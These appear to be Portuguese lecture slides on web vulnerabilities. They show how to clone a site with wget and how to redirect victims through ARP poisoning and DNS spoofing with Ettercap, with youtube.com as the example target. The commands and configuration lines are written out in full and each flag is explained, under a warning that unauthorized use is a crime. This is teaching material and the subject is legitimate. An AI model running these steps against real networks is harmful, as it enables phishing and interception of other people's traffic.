Aula 02

Vulnerabilidades em acesso Web

Introdução

- A Internet é um mundo obscuro. Mesmo para os que a consideram como “familiar”, ainda há muitos planos desconhecidos neste “universo” digital.
- Sites e Portais famosos e populares são tão desconhecidos quantos os mais discretos.

Introdução

- A Web não é um parque de diversões. Não foi essa a sua essência de criação. Contudo, assim se tornou;
- Os riscos são constantes; As alegrias também.

Riscos

- Falsificação;
- Sequestros de Dados;
- Perda de Senhas;
- Desvio de Informação;
- E-mails maliciosos;
- Vírus;
- Spams
- Etc.....etc

Explorando a Falsificação de Sites

A falsificação de sites consiste em manter uma cópia fiel de um determinando site. A partir dessa ação, denominada clonagem, é possível interagir com usuários que requisitem este site, se passando pelo original.

Qual o objetivo disso?

Use a imaginação e deduza.

Wget

Aplicativo utilizado para fazer a cópia do site alvo:

#wget -m -p -E -k -K -np -v {site alvo}

- -m = faz o espelhamento do site;
- -p = possibilita baixar todos os arquivos do alvo;
- -E = fará todas as páginas serem baixadas localmente como um arquivo html;
- -k = converte os arquivos para visualização local;
- K = faz backup do arquivo original usando um sufixo .orig
- -np= ajuda a manter o anonimato. Faz com que a clonagem não suba ao diretório Pai do site alvo.

Ethercap

Aplicativo utilizado para realizar o DNS Spoofing

O **DNS Spoofing** é o comprometimento na segurança ou na integridade dos dados em um Sistema de Nomes de Domínios (Domain Name System DNS). Esse problema acontece quando os dados que são introduzidos na cache de um servidor de nomes DNS não se originam do servidor de nomes DNS com autoridade real. Tal problema pode ser uma tentativa de ataque malicioso em um servidor de nomes, mas também pode ser o resultado de um erro não intencional de configuração na cache do servidor DNS.

Fonte: Wikipedia

Cenário

- Máquina Virtual:
  - 1 Gb RAM
  - 1 Processador +/-
  - 40 Gb HB
  - Sistema Operacional **Kali Linux**
    - Já vem com o EtterCap instalado e pronto para uso
- Alvo
  - Qualquer site autorizado.
    - Cuidado! Sem autorização, esta prática se configura crime.

Ettercap

nano /etc/ettercap/etter.dns

Depois Adicione as linhas abaixo

youtube.com A Seu IP

www.youtube.com A Seu IP

Explicação

youtube.com : É o domínio alvo

A : Tipo de redirecionamento de DNS.

141.0.174.39 : IP do site para onde o cliente será redirecionado.

Ação

ettercap -T -q -M arp -i eth0 -P dns_spoof //

Explicação

ettercap: Comando da ferramenta utilizada.

-T: Utiliza modo texto.

-q: Seta o modo silencioso.

-M arp: Tipo de redirecionamento.

-i eth0: Interface de rede.

-P dns_spoof: Plugin utilizado para o ataque.

// : Seleciona toda rede.